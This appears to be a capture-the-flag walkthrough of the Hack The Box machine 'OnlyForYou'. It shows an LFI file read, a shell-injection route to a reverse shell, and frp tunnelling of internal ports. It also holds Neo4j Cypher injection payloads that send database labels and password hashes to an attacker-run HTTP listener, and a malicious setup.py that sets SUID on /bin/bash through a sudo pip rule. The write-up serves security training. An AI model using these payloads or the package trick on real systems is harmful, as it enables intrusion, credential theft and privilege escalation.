medium - OnlyForYou Link to heading
User Flag Link to heading
Nmap scanning Link to heading
Interesting finding, many filtered ports, probably open internally only:
z➤ sudo nmap -n -Pn -sV -O -T4 onlyforyou.htb
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-11 08:35 -04
Nmap scan report for onlyforyou.htb (10.10.11.210)
Host is up (0.13s latency).
Not shown: 988 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
1234/tcp filtered hotline
1494/tcp filtered citrix-ica
2381/tcp filtered compaq-https
4446/tcp filtered n1-fwp
5862/tcp filtered unknown
7435/tcp filtered unknown
10243/tcp filtered unknown
10629/tcp filtered unknown
11111/tcp filtered vce
17877/tcp filtered unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=8/11%OT=22%CT=1%CU=41064%PV=Y%DS=2%DC=I%G=Y%TM=64D62B3
OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST1
OS:1NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.36 seconds
Web recognition Link to heading
Here we go, we another redirection and we have to add only4you.htb to /etc/hosts
:
~z➤ curl -I -L onlyforyou.htb
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 11 Aug 2023 12:37:52 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://only4you.htb/
curl: (6) Could not resolve host: only4you.htb
Regular web page at a first glance:
Ok, so inspecting a little bit the html source code, I found this http://beta.only4you.htb :
~z➤ curl -s -L only4you.htb | ag href | sort -u
...
...
<link href="../static/vendor/glightbox/css/glightbox.min.css" rel="stylesheet">
<link href="../static/vendor/remixicon/remixicon.css" rel="stylesheet">
<link href="../static/vendor/swiper/swiper-bundle.min.css" rel="stylesheet">
We have some beta products to test. You can check it <a href="http://beta.only4you.htb">here</a>
And now we have something:
Ok, now we have some pages to have some fun:
~z➤ curl -s -L beta.only4you.htb | ag href
...
<a class="nav-link" href="/resize">resize</a>
<a class="nav-link" href="/convert">convert</a>
<a href="/source" class="btn btn-primary my-2">Source Code</a>
I’m downloading the source code, I reviewied /convert
and /resize
html source code, nothing interesting.
Ok, there are these two .py files:
- app.py contains a Flask service with multiple routing http endpoints
- tool.py converts and resizes an image file
We started wrong here, check these app.py and too.py image validations by filename extension instead of metadata header file:
Notice these libs are being used and might be vulnerables somehow:
from PIL import Image
from werkzeug.utils import secure_filename
Exploiting /download
http endpoint
Link to heading
Let’s exploit this url endpoint.
So after uploading an image to be resized I got multiple images to download:
By using Burpsuite (I used to hate this tool) I found that this /download
http path has an LFI vuln, the image=
parameter can be modified and we can download files from the server, you also saw the previous app.py
python file was just validating the user don’t send anything starting with ..
and ../
, but not something like /etc/passwd
:
curl -i -s -k -X $'POST' \
-H $'Host: beta.only4you.htb' \
-H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0' \
-H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' \
-H $'Accept-Language: en-US,en;q=0.5' \
-H $'Accept-Encoding: gzip, deflate' \
-H $'Content-Type: application/x-www-form-urlencoded' \
-H $'Content-Length: 17' \
-H $'Origin: http://beta.only4you.htb' \
-H $'Connection: close' \
-H $'Referer: http://beta.only4you.htb/list' \
-H $'Upgrade-Insecure-Requests: 1' \
-H $'Sec-GPC: 1' \
--data-binary $'image=/etc/passwd' \
$'http://beta.only4you.htb/download'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 17 Aug 2023 01:00:20 GMT
Content-Type: application/octet-stream
Content-Length: 2079
Connection: close
Content-Disposition: attachment; filename=passwd
Last-Modified: Thu, 30 Mar 2023 12:12:20 GMT
Cache-Control: no-cache
ETag: "1680178340.2049809-2079-393413677"
root:x:0:0:root:/root:/bin/bash
...
john:x:1000:1000:john:/home/john:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
neo4j:x:997:997::/var/lib/neo4j:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
fwupd-refresh:x:114:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:996:996::/var/log/laurel:/bin/false
Ok, we’ve got some names from that like john
and dev
.
Here we see, we have both vhosts on nginx, notice the path /var/www/beta.only4you.htb
:
curl -s -k -X $'POST' \
-H $'Host: beta.only4you.htb' \
-H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0' \
-H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' \
-H $'Accept-Language: en-US,en;q=0.5' \
-H $'Accept-Encoding: gzip, deflate' \
-H $'Content-Type: application/x-www-form-urlencoded' \
-H $'Origin: http://beta.only4you.htb' \
-H $'Connection: close' \
-H $'Referer: http://beta.only4you.htb/list' \
-H $'Upgrade-Insecure-Requests: 1' \
-H $'Sec-GPC: 1' \
--data-binary $'image=/etc/nginx/sites-enabled/default' \
$'http://beta.only4you.htb/download'
server {
listen 80;
return 301 http://only4you.htb$request_uri;
}
server {
listen 80;
server_name only4you.htb;
location / {
include proxy_params;
proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
}
}
server {
listen 80;
server_name beta.only4you.htb;
location / {
include proxy_params;
proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
}
}
I’m able to read only4you.htb py files:
curl -s -k -X $'POST' \
-H $'Host: beta.only4you.htb' \
...
...
--data-binary $'image=/var/www/only4you.htb/app.py' \
$'http://beta.only4you.htb/download'
from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
email = request.form['email']
subject = request.form['subject']
message = request.form['message']
ip = request.remote_addr
status = sendmessage(email, subject, message, ip)
if status == 0:
flash('Something went wrong!', 'danger')
elif status == 1:
flash('You are not authorized!', 'danger')
else:
flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
return redirect('/#contact')
else:
return render_template('index.html')
...
...
if __name__ == '__main__':
app.run(host='127.0.0.1', port=80, debug=False)
Notice that form
py library, let’s read the code:
import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "v=spf1" not in output:
return 1
else:
domains = []
ips = []
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
dms.pop(0)
for domain in dms:
domains.append(domain)
while True:
for domain in domains:
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
domains.clear()
for domain in dms:
domains.append(domain)
elif "ip4:" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
pass
break
elif "ip4" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
return 1
for i in ips:
if ip == i:
return 2
elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
return 2
else:
return 1
def sendmessage(email, subject, message, ip):
status = issecure(email, ip)
if status == 2:
msg = EmailMessage()
msg['From'] = f'{email}'
msg['To'] = '[email protected]'
msg['Subject'] = f'{subject}'
msg['Message'] = f'{message}'
smtp = smtplib.SMTP(host='localhost', port=25)
smtp.send_message(msg)
smtp.quit()
return status
elif status == 1:
return status
else:
return status
Notice the function issecure
is vulnerable to RCE, because of this line result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
. You will see that app.py calls the function sendmessage
from form.py script, and sendmessage()
calls issecure(email, ip)
, so email
field is vulnerable to injection.
So I tried to curl my localhost and it succeded. Now getting a rev shell:
z➤ nc -lvnp 55555
Connection from 10.10.11.210:48762
bash: cannot set terminal process group (1015): Inappropriate ioctl for device
bash: no job control in this shell
www-data@only4you:~/only4you.htb$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@only4you:~/only4you.htb$ pwd
pwd
/var/www/only4you.htb
Exposing internal services Link to heading
www-data@only4you:~/only4you.htb$ netstat -tulpn | grep 127.0.0.1
netstat -tulpn | grep 127.0.0.1
tcp 0 0 127.0.0.1:8001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:7687 :::* LISTEN -
tcp6 0 0 127.0.0.1:7474 :::* LISTEN -
We see some interal ports LISTENing, let’s expose them and see what they have are running. For this matter I used this popular tool https://github.com/fatedier/frp
It helps to rapidly expose local servers to ouside in different ways. It uses two programs one for the internal server and one for the client.
I will just start the client app on my workstation:
z➤ ./frps -p 7000 --bind_addr "0.0.0.0"
2023/08/16 22:03:14 [I] [root.go:206] frps uses command line arguments for config
2023/08/16 22:03:14 [I] [service.go:206] frps tcp listen on 0.0.0.0:7000
2023/08/16 22:03:14 [I] [root.go:213] frps started successfully
Now I will run the “exposer” app on the server from user www-data
, it requires a config file frpc.ini
:
[common]
server_addr = 10.10.14.3
server_port = 7000
[aa]
type = tcp
local_ip = 127.0.0.1
local_port = 3000
remote_port = 3000
[bb]
type = tcp
local_ip = 127.0.0.1
local_port = 8001
remote_port = 8001
[cc]
type = tcp
local_ip = 127.0.0.1
local_port = 7474
remote_port = 7474
Now I can run the app:
www-data@only4you:~/only4you.htb$ nohup ./frpc -c frpc001.ini &
nohup ./frpc -c frpc001.ini &
[1] 3558
www-data@only4you:~/only4you.htb$ 2023/08/17 02:14:45 [I] [root.go:220] start frpc service for config file [frpc001.ini]
2023/08/17 02:14:45 [I] [service.go:301] [99ab7b3792eb61fe] login to server success, get run id [99ab7b3792eb61fe]
2023/08/17 02:14:45 [I] [proxy_manager.go:150] [99ab7b3792eb61fe] proxy added: [aa bb cc]
2023/08/17 02:14:45 [I] [control.go:172] [99ab7b3792eb61fe] [aa] start proxy success
2023/08/17 02:14:45 [I] [control.go:172] [99ab7b3792eb61fe] [bb] start proxy success
2023/08/17 02:14:45 [I] [control.go:172] [99ab7b3792eb61fe] [cc] start proxy success
Now we can access multiple pages:
So the webapp running on port 8001
has a default user/password: admin:admin
. In there we can see a search page which is vulnerable to SQLi for Neo4j:We can get the SQLi from
https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
Where http://10.0.2.4:8000
should be a dummy server we run, so we can see requests and their params.
~/tmp➤ python -m http.server 6666
Serving HTTP on 0.0.0.0 port 6666 (http://0.0.0.0:6666/) ...
10.10.11.210 - - [16/Aug/2023 22:25:44] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1')
10.10.11.210 - - [16/Aug/2023 22:25:44] "GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 -
Getting all labels from db: 1' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.3:6666/?label='+label as l RETURN 0 as _0 //
10.10.11.210 - - [16/Aug/2023 22:39:13] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:39:14] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:39:14] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:39:14] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:39:15] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:39:15] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:39:15] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:39:15] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:39:16] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:39:16] "GET /?label=employee HTTP/1.1" 200 -
Dumping data from user label db: 1' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.3:6666/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
10.10.11.210 - - [16/Aug/2023 22:40:34] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:40:35] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:40:35] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:40:35] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:40:36] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:40:36] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:40:36] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:40:36] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:40:37] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:40:37] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:40:37] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:40:38] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [16/Aug/2023 22:40:38] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
Looking into crackstation to see if there is something cracked there already:
john@only4you:~$ id
uid=1000(john) gid=1000(john) groups=1000(john)
john@only4you:~$ ls
user.txt
john@only4you:~$
Root Flag Link to heading
We have to do something with pip
to escalate:
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
Building a malicious pip package Link to heading
So lets create a malicious setup.py and then we build our pip package, we can see the reference here: https://github.com/wunderwuzzi23/this_is_fine_wuzzi
import os
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
def RunCommand():
print("Hello, p0wnd!")
os.system("chmod +s /bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "oops",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)
Now we build the pip package:
~/tmp/dummy➤ python -m build
* Creating virtualenv isolated environment...
* Installing packages in isolated environment... (setuptools >= 40.8.0, wheel)
* Getting build dependencies for sdist...
running egg_info
Hello, p0wnd!
chmod: changing permissions of '/bin/bash': Operation not permitted
...
...
...
adding 'oops-0.0.1.dist-info/WHEEL'
adding 'oops-0.0.1.dist-info/top_level.txt'
adding 'oops-0.0.1.dist-info/RECORD'
removing build/bdist.linux-x86_64/wheel
Successfully built oops-0.0.1.tar.gz and oops-0.0.1-py3-none-any.whl
The malicious pip package can only be installed via http://127.0.0.1:3000
, that is the Gogs git internal service we saw before, so we just create a git repository (using same ssh creds in Gogs web page) and then upload the resultant malicious pip package:
We are root now:
john@only4you:/etc/nginx/sites-enabled$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/oops/raw/master/oops-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/oops/raw/master/oops-0.0.1.tar.gz
Downloading http://127.0.0.1:3000/john/oops/raw/master/oops-0.0.1.tar.gz (847 bytes)
Saved ./oops-0.0.1.tar.gz
Successfully downloaded oops
john@only4you:/etc/nginx/sites-enabled$ /bin/bash -p
bash-5.0# id
uid=1000(john) gid=1000(john) euid=0(root) egid=0(root) groups=0(root),1000(john)
bash-5.0#
TODOs Link to heading
- Review in depth neo4j cypher sqli
Thanks 4 reading!